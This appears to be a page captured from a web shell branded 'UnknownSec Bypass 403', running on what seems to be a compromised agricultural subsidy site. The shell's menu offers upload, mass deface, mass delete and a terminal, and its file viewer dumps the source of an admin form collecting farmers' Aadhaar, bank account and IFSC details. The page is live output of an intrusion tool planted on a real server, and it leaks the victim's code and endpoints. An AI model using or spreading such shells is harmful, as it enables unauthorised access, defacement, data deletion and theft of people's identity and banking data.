UnknownSec Bypass
403
:
/
var
/
www
/
jpsagrisolution
/
cpanel
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
add_anudaan_farmer.php
<?php include "top.php";?> <script> $(document).ready(function() { var stateid = ""; gettotalstate(stateid); var id = getUrlVars()['id']; var op = getUrlVars()['op']; // Initialize State select2 $("#state").select2(); // Initialize District select2 $("#district").select2(); $("#block").select2(); $("#village").select2(); if (id != "") { $.ajax({ method: 'POST', url: 'get_anudaanfarmerreg_detials.php', data: '&id=' + id, dataType: "JSON", success: function(data) { //var obj = JSON.stringify(data); // var str = $.parseJSON(obj); $('#hdid').val(data.hdid); $('#farmername').val(data.farmername); $('#fathername').val(data.fathername); $('#mobileno1').val(data.mobileno1); $('#cast').val(data.cast); $('#age').val(data.age); $('#gender').val(data.gender); $('#post').val(data.post); $('#tehsil').val(data.tehsil); gettotalstate(data.stcode); getdistrict(data.stcode, data.distcode); getmanageblock(data.stcode,data.distcode,data.blockid); gettotalvillage1(data.stcode,data.distcode,data.blockid,data.villageid); $('#khasrano').val(data.khasrano); $('#bankname').val(data.bankname); $('#accountno').val(data.accountno); $('#ifsccode').val(data.ifsccode); $('#area').val(data.area); $('#totalarea').val(data.totalarea); $('#cropname').val(data.cropname); $('#farmname').val(data.farmname); $('#company').val(data.companyname); $('#system').val(data.system); $('#aadharno').val(data.aadharno); $('#anumanyalagat').val(data.anumanyalagat); $('#totalamtwithgst').val(data.totalamtwithgst); $('#billno').val(data.billno); $('#billdate').val(data.billdate); $('#billamount').val(data.billamount); $('#depositdate').val(data.depositdate); $('#jalasaytype').val(data.jalasaytype); $('#jalasaydeep').val(data.jalasaydeep); $('#pumptype').val(data.pumptype); $('#pumpcapacity').val(data.pumpcapacity); $('#lightduration').val(data.lightduration); if (op == "Update") { $('#pageheading').text("Edit Farmer"); $('#pageheading1').text("Edit Farmer Details"); $('#btnopration').text("Update"); document.getElementById("farmername").focus(); } else if (op == "Delete") { $('#pageheading').text("Delete Farmer"); $('#pageheading1').text("Delete Farmer Details"); $('#btnopration').text("Delete"); document.getElementById("village").setAttribute('disabled', true); document.getElementById("state").setAttribute('disabled', true); document.getElementById("district").setAttribute('disabled', true); document.getElementById("block").setAttribute('disabled', true); document.getElementById("fathername").setAttribute('disabled', true); document.getElementById("mobileno1").setAttribute('disabled', true); document.getElementById("mobileno2").setAttribute('disabled', true); document.getElementById("age").setAttribute('disabled', true); document.getElementById("gender").setAttribute('disabled', true); } } }); } }); function getUrlVars() { var vars = [], hash; var hashes = window.location.href.slice(window.location.href.indexOf('?') + 1).split('&'); for (var i = 0; i < hashes.length; i++) { hash = hashes[i].split('='); vars.push(hash[0]); vars[hash[0]] = hash[1]; } return vars; } function gettotalstate(val) { $.ajax({ type: "Get", url: "get_total_state.php", success: function(res) { var data = JSON.parse(res); var sel = $("#state"); sel.empty(); $("#state").append('<option>Select State</option>'); for (var i = 0; i < data.length; i++) { if (data[i].stcode == val) { sel.append('<option value="' + data[i].stcode + '" selected=true>' + data[i] .statename + '</option>'); } else { sel.append('<option value="' + data[i].stcode + '">' + data[i].statename + '</option>'); } } /// $("#state").html(data); } }); } function getdistrict(val, disvalue) { $.ajax({ type: "POST", url: "get_district.php", data: 'state_id=' + val, success: function(res) { var data = JSON.parse(res); var sel = $("#district"); sel.empty(); $("#district").append('<option>Select District</option>'); for (var i = 0; i < data.length; i++) { if (data[i].distcode == disvalue) { sel.append('<option value="' + data[i].distcode + '" selected=true>' + data[i] .districtname + '</option>'); } else { sel.append('<option value="' + data[i].distcode + '">' + data[i].districtname + '</option>'); } } // $("#district").html(data); } }); } function getmanageblock(statevalue, disvalue,blockid) { if(blockid=="") statevalue= document.getElementById("state").value; $.ajax({ type: "POST", url: "get_manage_block.php", data: '&state_id=' + statevalue+'&district_id='+disvalue, success: function(res) { var data = JSON.parse(res); var sel = $("#block"); sel.empty(); for (var i = 0; i < data.length; i++) { if (data[i].bid == blockid) { sel.append('<option value="' + data[i].bid + '" selected=true>' + data[i] .blockname + '</option>'); } else { sel.append('<option value="' + data[i].bid + '">' + data[i] .blockname + '</option>'); } } // $("#district").html(data); } }); } function gettotalvillage1(statevalue, disvalue,blockid,villageid) { $.ajax({ type: "POST", url: "get_manage_village.php", data: '&state_id=' + statevalue+'&district_id='+disvalue+'&block_id='+blockid, success: function(res) { var data = JSON.parse(res); var sel = $("#village"); sel.empty(); for (var i = 0; i < data.length; i++) { if (data[i].vid == villageid) { sel.append('<option value="' + data[i].vid + '" selected=true>' + data[i] .villagename + '</option>'); } else { sel.append('<option value="' + data[i].vid + '">' + data[i] .villagename + '</option>'); } } // $("#district").html(data); } }); } function gettotalvillage(statevalue, disvalue,blockid,villageid) { if(villageid=="") statevalue= document.getElementById("state").value; disvalue= document.getElementById("district").value; $.ajax({ type: "POST", url: "get_manage_village.php", data: '&state_id=' + statevalue+'&district_id='+disvalue+'&block_id='+blockid, success: function(res) { var data = JSON.parse(res); var sel = $("#village"); sel.empty(); for (var i = 0; i < data.length; i++) { if (data[i].vid == villageid) { sel.append('<option value="' + data[i].vid + '" selected=true>' + data[i] .villagename + '</option>'); } else { sel.append('<option value="' + data[i].vid + '">' + data[i] .villagename + '</option>'); } } // $("#district").html(data); } }); } function selectCountry(val) { $("#search-box").val(val); $("#suggesstion-box").hide(); } function saveformer() { var flag = true; var inputField1 = document.getElementById("state"); if (inputField1.value == "Select State") { flag = false; alert("Please select state name"); document.getElementById("state").focus(); return false; } var inputField2 = document.getElementById("district"); if (inputField2.value == "Select District") { flag = false; alert("Please select district name"); document.getElementById("district").focus(); return false; } var inputField3 = document.getElementById("block"); if (inputField3.value == "0") { flag = false; alert("Please select block name"); document.getElementById("block").focus(); return false; } var inputField4 = document.getElementById("village"); if (inputField4.value == "0") { flag = false; alert("Please enter village name"); document.getElementById("villagename").focus(); return false; } var inputField5 = document.getElementById("farmername"); if (inputField5.value == "") { flag = false; alert("Please enter farmer name"); document.getElementById("farmername").focus(); return false; } var inputField6 = document.getElementById("fathername"); if (inputField6.value == "") { flag = false; alert("Please enter father name"); document.getElementById("fathername").focus(); return false; } var inputField7 = document.getElementById("mobileno1"); if (inputField7.value == "") { flag = false; alert("Please enter mobileno1"); document.getElementById("mobileno1").focus(); return false; } var inputField8 = document.getElementById("age"); if (inputField8.value == "-") { flag = false; alert("Please select age"); document.getElementById("age").focus(); return false; } var inputField9 = document.getElementById("gender"); if (inputField9.value == "-") { flag = false; alert("Please select gender"); document.getElementById("gender").focus(); return false; } var state = document.getElementById("state").value; var district = document.getElementById("district").value; var block = document.getElementById("block").value; var villagename = document.getElementById("village").value; var farmername = document.getElementById("farmername").value; var fathername = document.getElementById("fathername").value; var mobileno1 = document.getElementById("mobileno1").value; var cast = document.getElementById("cast").value; var age = document.getElementById("age").value; var gender = document.getElementById("gender").value; var post = document.getElementById("post").value; var tehsil = document.getElementById("tehsil").value; var khasrano = document.getElementById("khasrano").value; var bankname = document.getElementById("bankname").value; var accountno = document.getElementById("accountno").value; var ifsccode = document.getElementById("ifsccode").value; var area = document.getElementById("area").value; var totalarea = document.getElementById("totalarea").value; var cropname = document.getElementById("cropname").value; var farmname = document.getElementById("farmname").value; var company = document.getElementById("company").value; var system = document.getElementById("system").value; var aadharno = document.getElementById("aadharno").value; var anumanyalagat = document.getElementById("anumanyalagat").value; var totalamtwithgst = document.getElementById("totalamtwithgst").value; var billno = document.getElementById("billno").value; var billdate = document.getElementById("billdate").value; var billamount = document.getElementById("billamount").value; var jalasaytype = document.getElementById("jalasaytype").value; var jalasaydeep = document.getElementById("jalasaydeep").value; var pumptype = document.getElementById("pumptype").value; var pumpcapacity = document.getElementById("pumpcapacity").value; var lightduration = document.getElementById("lightduration").value; var depositdate = document.getElementById("depositdate").value; var hdid = document.getElementById("hdid").value; var btnopration = document.getElementById("btnopration").innerHTML; var text = "Do you want " + btnopration + " Farmer Details"; if (confirm(text) == false) { flag = false; return false; } try { if (flag == true) { var urlgetcode = 'manage_farmer_anudaan_details.php'; $.ajax({ method: 'POST', url: urlgetcode, data: '&villagename=' + villagename + '&block=' + block + '&state=' + state + '&district=' + district +'&farmername=' + farmername +'&fathername=' + fathername+'&mobileno1=' + mobileno1+'&cast=' + cast+'&age=' + age+'&gender=' + gender+'&post=' + post+'&tehsil=' + tehsil+'&khasrano=' + khasrano+'&bankname=' + bankname + '&accountno=' + accountno + '&ifsccode=' + ifsccode + '&area=' + area+ '&totalarea=' + totalarea + '&cropname=' + cropname + '&farmname=' + farmname + '&company=' + company + '&system=' + system + '&aadharno=' + aadharno + '&anumanyalagat=' + anumanyalagat + '&totalamtwithgst=' + totalamtwithgst + '&billno=' + billno + '&billdate=' + billdate + '&billamount=' + billamount+ '&depositdate=' + depositdate + '&jalasaytype=' + jalasaytype + '&jalasaydeep=' + jalasaydeep + '&pumptype=' + pumptype + '&pumpcapacity=' + pumpcapacity + '&lightduration=' + lightduration + '&hdid=' + hdid + '&btnopration=' + btnopration, dataType: 'json', async: true, cache: false, success: function(msg) { if (msg == "1") { alert("Save Successfully"); $('#hdid').val(""); $('#village').val("Select"); $('#block').val("Select"); $('#state').val("Select"); $('#district').val("Select"); $('#farmername').val(""); $('#fathername').val(""); $('#mobileno1').val(""); $('#mobileno2').val(""); $('#age').val(""); $('#gender').val(""); $('#btnopration').text("Save"); window.location.href = "list_anudaan_farmer.php"; } else if (msg == "2") { alert("Mobile No. Already Exist"); $('#village').val("Select"); $('#block').val("Select"); $('#state').val("Select"); $('#district').val("Select"); $('#farmername').val(""); $('#fathername').val(""); $('#mobileno1').val(""); $('#mobileno2').val(""); $('#age').val(""); $('#gender').val(""); $('#btnopration').text("Save"); window.location.href = "list_anudaan_farmer.php"; } else if (msg == "3") { alert("Update Successfully"); $('#village').val("Select"); $('#block').val("Select"); $('#state').val("Select"); $('#district').val("Select"); $('#farmername').val(""); $('#fathername').val(""); $('#mobileno1').val(""); $('#mobileno2').val(""); $('#age').val(""); $('#gender').val(""); $('#btnopration').text("Save"); window.location.href = "list_anudaan_farmer.php"; } else if (msg == "4") { alert("Delete Successfully"); $('#village').val("Select"); $('#block').val("Select"); $('#state').val("Select"); $('#district').val("Select"); $('#farmername').val(""); $('#fathername').val(""); $('#mobileno1').val(""); $('#mobileno2').val(""); $('#age').val(""); $('#gender').val(""); $('#btnopration').text("Save"); window.location.href = "list_anudaan_farmer.php"; } }, error: function(request) { alert(request.responseText); } }); } } catch (Error) { alert(Error); } return; } </script> <div id="page-wrapper" class="gray-bg dashbard-1"> <div class="content-main"> <!--banner--> <div class="banner"> <table width="100%"> <tr> <td width="50%"><b><label name="pageheading" id="pageheading">Add Anudaan Farmer</label></b></td> <td width="50%" align="right"><a class="btn btn-default" href="list_anudaan_farmer.php">Anudaan Farmer List</a></td> </tr> </table> </div> <!--//banner--> <!--grid--> <div class="validation-system"> <div class="validation-form"> <!----> <input type="hidden" class="form-control1" id="hdid" name="hdid"> <div class="vali-form vali-form1"> <div class="col-md-6 form-group1"> <label class="control-label">State</label> <select onChange="getdistrict(this.value,'');" name="state" id="state" class="form-control" style="width: 100%;" required> </select> </div> <div class="col-md-6 form-group1 form-last"> <label class="control-label">District</label> <select name="district" id="district" onChange="getmanageblock('',this.value,'');" class="form-control" style="width: 100%;"> </select> </div> <div class="clearfix"> </div> </div> <div class="vali-form vali-form1"> <div class="col-md-6 form-group1"> <label class="control-label">Block</label> <select name="block" id="block" onChange="gettotalvillage('','',this.value,'');" class="form-control" style="width: 100%;" required> </select> </div> <div class="col-md-6 form-group1 form-last"> <label class="control-label">Village</label> <select name="village" id="village" class="form-control" style="width: 100%;"> </select> </div> <div class="clearfix"> </div> </div> <div class="vali-form vali-form1"> <div class="col-md-6 form-group1"> <label class="control-label">Post</label> <input type="text" class="form-control1" id="post" name="post" placeholder="post" required=""> </div> <div class="col-md-6 form-group1 form-last"> <label class="control-label">Tehseel</label> <input type="text" class="form-control1" id="tehsil" name="tehsil" placeholder="tehsil" required=""> </div> <div class="clearfix"> </div> </div> <div class="vali-form vali-form1"> <div class="col-md-12 form-group1"> <label class="control-label">Farmer Name</label> <input type="text" class="form-control1" id="farmername" name="farmername" placeholder="Farmer Name" required=""> </div> <div class="clearfix"> </div> </div> <div class="vali-form vali-form1"> <div class="col-md-6 form-group1 form-last"> <label class="control-label">Father's Name</label> <input type="text" class="form-control1" id="fathername" name="fartername" placeholder="Father's Name"> </div> <div class="col-md-6 form-group1"> <label class="control-label">Mobile No.1</label> <input type="text" class="form-control1" id="mobileno1" name="mobileno1" placeholder="Mobile No.1" required=""> </div> <div class="clearfix"> </div> </div> <div class="vali-form vali-form1"> <div class="col-md-4 form-group1 form-last"> <label class="control-label">Cast</label> <select name="cast" id="cast" class="form-control1"> <option>-</option> <option>SC</option> <option>ST</option> <option>OBC</option> <option>Female</option> <option>Other</option> </select> </div> <div class="col-md-4 form-group1"> <label class="control-label">Age (in Years)</label> <select name="age" id="age" class="form-control1"> <option>-</option> <option>99</option> <option>98</option> <option>97</option> <option>96</option> <option>95</option> <option>94</option> <option>93</option> <option>92</option> <option>91</option> <option>90</option> <option>89</option> <option>88</option> <option>87</option> <option>86</option> <option>85</option> <option>84</option> <option>83</option> <option>82</option> <option>81</option> <option>80</option> <option>79</option> <option>78</option> <option>77</option> <option>76</option> <option>75</option> <option>74</option> <option>73</option> <option>72</option> <option>71</option> <option>70</option> <option>69</option> <option>68</option> <option>67</option> <option>66</option> <option>65</option> <option>64</option> <option>63</option> <option>62</option> <option>61</option> <option>60</option> <option>59</option> <option>58</option> <option>57</option> <option>56</option> <option>55</option> <option>54</option> <option>53</option> <option>52</option> <option>51</option> <option>50</option> <option>49</option> <option>48</option> <option>47</option> <option>46</option> <option>45</option> <option>44</option> <option>43</option> <option>42</option> <option>41</option> <option>40</option> <option>39</option> <option>38</option> <option>37</option> <option>36</option> <option>35</option> <option>34</option> <option>33</option> <option>32</option> <option>31</option> <option>30</option> <option>29</option> <option>28</option> <option>27</option> <option>26</option> <option>25</option> <option>24</option> <option>23</option> <option>22</option> <option>21</option> <option>20</option> </select> </div> <div class="col-md-4 form-group1 form-last"> <label class="control-label">Gender</label> <select name="gender" id="gender" class="form-control1"> <option>-</option> <option>Male</option> <option>Female</option> </select> </div> <div class="clearfix"> </div> </div> <div class="vali-form vali-form1"> <div class="col-md-4 form-group1 form-last"> <label class="control-label">Khasra No.</label> <input type="text" class="form-control1" id="khasrano" name="khasrano" placeholder="Khasra No." required=""> </div> <div class="col-md-4 form-group1 form-last"> <label class="control-label">Bank Name.</label> <input type="text" class="form-control1" id="bankname" name="bankname" placeholder="Bank Name" required=""> </div> <div class="col-md-4 form-group1 form-last"> <label class="control-label">Account No.</label> <input type="text" class="form-control1" id="accountno" name="accountno" placeholder="Account No." required=""> </div> <div class="clearfix"> </div> </div> <div class="vali-form vali-form1"> <div class="col-md-4 form-group1 form-last"> <label class="control-label">Ifsc Code</label> <input type="text" class="form-control1" id="ifsccode" name="ifsccode" placeholder="Ifsc Code" required=""> </div> <div class="col-md-4 form-group1 form-last"> <label class="control-label">Total Area</label> <input type="text" class="form-control1" id="totalarea" name="totalarea" placeholder="totalarea" required=""> </div> <div class="col-md-4 form-group1 form-last"> <label class="control-label">Area</label> <input type="text" class="form-control1" id="area" name="area" placeholder="Area" required=""> </div> <div class="clearfix"> </div> </div> <div class="vali-form vali-form1"> <div class="col-md-4 form-group1 form-last"> <label class="control-label">Crop Name</label> <input type="text" class="form-control1" id="cropname" name="cropname" placeholder="Crop Name" required=""> </div> <div class="col-md-4 form-group1 form-last"> <label class="control-label">Farm Name</label> <input type="text" class="form-control1" id="farmname" name="farmname" placeholder="farmname" required=""> </div> <div class="col-md-4 form-group1 form-last"> <label class="control-label">Company Name</label> <input type="text" class="form-control1" id="company" name="company" placeholder="company" required=""> </div> <div class="clearfix"> </div> </div> <div class="vali-form vali-form1"> <div class="col-md-4 form-group1 form-last"> <label class="control-label">System</label> <input type="text" class="form-control1" id="system" name="system" placeholder="System" required=""> </div> <div class="col-md-4 form-group1 form-last"> <label class="control-label">Aadhar No</label> <input type="text" class="form-control1" id="aadharno" name="aadharno" placeholder="Aadhar No" required=""> </div> <div class="col-md-4 form-group1 form-last"> <label class="control-label">Anumanya Lagat</label> <input type="text" class="form-control1" id="anumanyalagat" name="anumanyalagat" placeholder="Anumanya Lagat" required=""> </div> <div class="clearfix"> </div> </div> <div class="vali-form vali-form1"> <div class="col-md-4 form-group1 form-last"> <label class="control-label">Total Amount with Gst</label> <input type="text" class="form-control1" id="totalamtwithgst" name="totalamtwithgst" placeholder="Total Amount with Gst" required=""> </div> <div class="col-md-4 form-group1 form-last"> <label class="control-label">Bill No</label> <input type="text" class="form-control1" id="billno" name="billno" placeholder="billno" > </div> <div class="col-md-4 form-group1 form-last"> <label class="control-label">Bill Date</label> <input type="text" class="form-control1" id="billdate" name="billdate" placeholder="dd-mm-yyyy"> </div> <div class="clearfix"> </div> </div> <div class="vali-form vali-form1"> <div class="col-md-6 form-group1 form-last"> <label class="control-label">Bill Amount</label> <input type="text" class="form-control1" id="billamount" name="billdate" placeholder="bill amount"> </div> <div class="col-md-6 form-group1 form-last"> <label class="control-label">Deposit Date</label> <input type="text" class="form-control1" id="depositdate" name="depositdate" placeholder="dd-mm-yyyy"> </div> <div class="clearfix"> </div> </div> <div class="vali-form vali-form1"> <div class="col-md-6 form-group1 form-last"> <label class="control-label">Type of Jalasay </label> <select name="jalasaytype" id="jalasaytype" class="form-control1"> <option>Kunwa</option> <option>Tyoobale</option> <option>Jalasay</option> </select> </div> <div class="col-md-6 form-group1 form-last"> <label class="control-label">Deepnees of Jalasay</label> <input type="text" class="form-control1" id="jalasaydeep" name="jalasaydeep" placeholder=" Deepness"> </div> <div class="clearfix"> </div> </div> <div class="vali-form vali-form1"> <div class="col-md-6 form-group1 form-last"> <label class="control-label">Type of Pump </label> <select name="pumptype" id="pumptype" class="form-control1"> <option>Diesel Pump</option> <option>Light Pump</option> </select> </div> <div class="col-md-6 form-group1 form-last"> <label class="control-label">Capacity of Pump</label> <input type="text" class="form-control1" id="pumpcapacity" name="pumpcapacity" placeholder="pump capacity"> </div> <div class="clearfix"> </div> </div> <div class="vali-form vali-form1"> <div class="col-md-6 form-group1 form-last"> <label class="control-label">Light Duration in Hour </label> <input type="text" class="form-control1" id="lightduration" name="lightduration" placeholder="light duration"> </div> <div class="clearfix"> </div> </div> <div class="vali-form vali-form1"> <div class="col-md-12 form-group"> <button type="submit" id="btnopration" onclick="saveformer();" class="btn btn-primary">Save</button> </div> <div class="clearfix"> </div> <!----> </div> </div> <!--//grid--> <?php include "footer.php";?>
Copyright © 2025 - UnknownSec